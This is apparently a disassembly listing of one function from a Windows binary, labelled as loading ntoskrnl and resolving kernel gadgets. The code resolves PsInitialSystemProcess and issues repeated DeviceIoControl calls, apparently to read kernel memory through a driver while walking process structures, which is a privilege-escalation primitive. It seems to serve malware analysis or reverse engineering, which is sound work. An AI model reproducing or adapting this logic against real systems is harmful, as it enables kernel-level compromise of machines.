Function at 0x140008f10
Capabilities:
Load ntoskrnl
Resolve ntoskrnl gadgets

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov rax, qword [0x140013040]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rbx, rcx
lea rcx, [0x14000dce0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r12d, r12d
mov rsi, rax
test rax, rax
jne 0x140008f51
mov edi, r12d
jmp 0x140008f74
lea rdx, str.PsInitialSystemProcess
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, qword [rbx + 0x38]
mov rcx, rsi
sub rdi, rsi
add rdi, rax
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rax, qword [rbx + 0x28]
mov rsi, r12
test rdi, rdi
jne 0x140008f89
test rax, rax
je 0x14000902f
mov rcx, qword [rbx]
lea r8, [rbp + 0xf]
mov qword [rsp + 0x38], r12
mov r9d, 0x18
mov qword [rbp + 0xf], rax
mov edx, 0x222014
lea rax, [rbp - 0x29]
mov dword [rbp - 0x29], r12d
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov qword [rbp + 0x1f], rdi
mov dword [rbp + 0x17], 8
mov dword [rbp + 0x1b], 0x6c61696e
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
not eax
test eax, eax
jns 0x14000902f
mov rax, qword [rbx + 0x28]
lea r8, [rbp - 1]
mov rcx, qword [rbx]
mov r9d, 0x10
mov qword [rbp - 1], rax
mov edx, 0x222010
mov qword [rsp + 0x38], r12
lea rax, [rbp - 0x29]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x21]
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x29], r12d
mov qword [rbp - 0x21], r12
mov qword [rbp + 7], 8
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
cmovne rsi, qword [rbp - 0x21]
mov qword [rsp + 0xd8], r14
mov qword [rsp + 0xe0], r15
mov qword [rbp - 0x21], r12
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edx, eax
lea r9, [rbp - 0x21]
mov r8, rsi
mov rcx, rbx
call fcn.140008ce0
test eax, eax
je 0x14000921f
mov edi, dword [rbx + 0x50]
add rdi, qword [rbp - 0x21]
mov r15, rdi
nop dword [rax]
mov rax, qword [rbx + 0x28]
lea rcx, [rdi + 8]
test rcx, rcx
jne 0x140009086
test rax, rax
je 0x14000921f
mov qword [rsp + 0x38], r12
lea r8, [rbp - 0x19]
mov qword [rbp - 0x19], rax
mov r9d, 0x18
lea rax, [rbp - 0x29]
mov qword [rbp - 9], rcx
mov rcx, qword [rbx]
mov edx, 0x222014
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov dword [rbp - 0x29], r12d
mov dword [rbp - 0x11], 8
mov dword [rbp - 0xd], 0x6c61696e
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
not eax
test eax, eax
jns 0x14000921f
mov rax, qword [rbx + 0x28]
lea r8, [rbp - 1]
mov rcx, qword [rbx]
mov r9d, 0x10
mov qword [rbp - 1], rax
mov edx, 0x222010
mov qword [rsp + 0x38], r12
lea rax, [rbp - 0x29]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x21]
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x29], r12d
mov qword [rbp - 0x21], r12
mov qword [rbp + 7], 8
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
cmovne rdi, qword [rbp - 0x21]
je 0x14000921f
cmp rdi, r15
je 0x14000921f
mov eax, dword [rbx + 0x5c]
mov rsi, rdi
mov rcx, qword [rbx + 0x28]
sub rsi, rax
mov eax, dword [rbx + 0x54]
mov r14, r12
add rax, rsi
jne 0x140009160
test rcx, rcx
je 0x140009206
mov qword [rsp + 0x38], r12
lea r8, [rbp - 0x19]
mov qword [rbp - 9], rax
mov r9d, 0x18
lea rax, [rbp - 0x29]
mov qword [rbp - 0x19], rcx
mov rcx, qword [rbx]
mov edx, 0x222014
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
mov dword [rbp - 0x29], r12d
mov dword [rbp - 0x11], 8
mov dword [rbp - 0xd], 0x6c61696e
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
not eax
test eax, eax
jns 0x140009206
mov rax, qword [rbx + 0x28]
lea r8, [rbp + 0xf]
mov rcx, qword [rbx]
mov r9d, 0x10
mov qword [rbp + 0xf], rax
mov edx, 0x222010
mov qword [rsp + 0x38], r12
lea rax, [rbp - 0x29]
mov qword [rsp + 0x30], rax
lea rax, [rbp - 0x21]
mov dword [rsp + 0x28], 8
mov qword [rsp + 0x20], rax
mov dword [rbp - 0x29], r12d
mov qword [rbp - 0x21], r12
mov qword [rbp + 0x17], 8
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
cmovne r14, qword [rbp - 0x21]
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov eax, eax
cmp rax, r14
jne 0x140009070
mov eax, dword [rbx + 0x58]
add rax, rsi
jmp 0x140009221
xor eax, eax
mov r15, qword [rsp + 0xe0]
mov r14, qword [rsp + 0xd8]
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.14000b5a0
add rsp, 0xa0
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret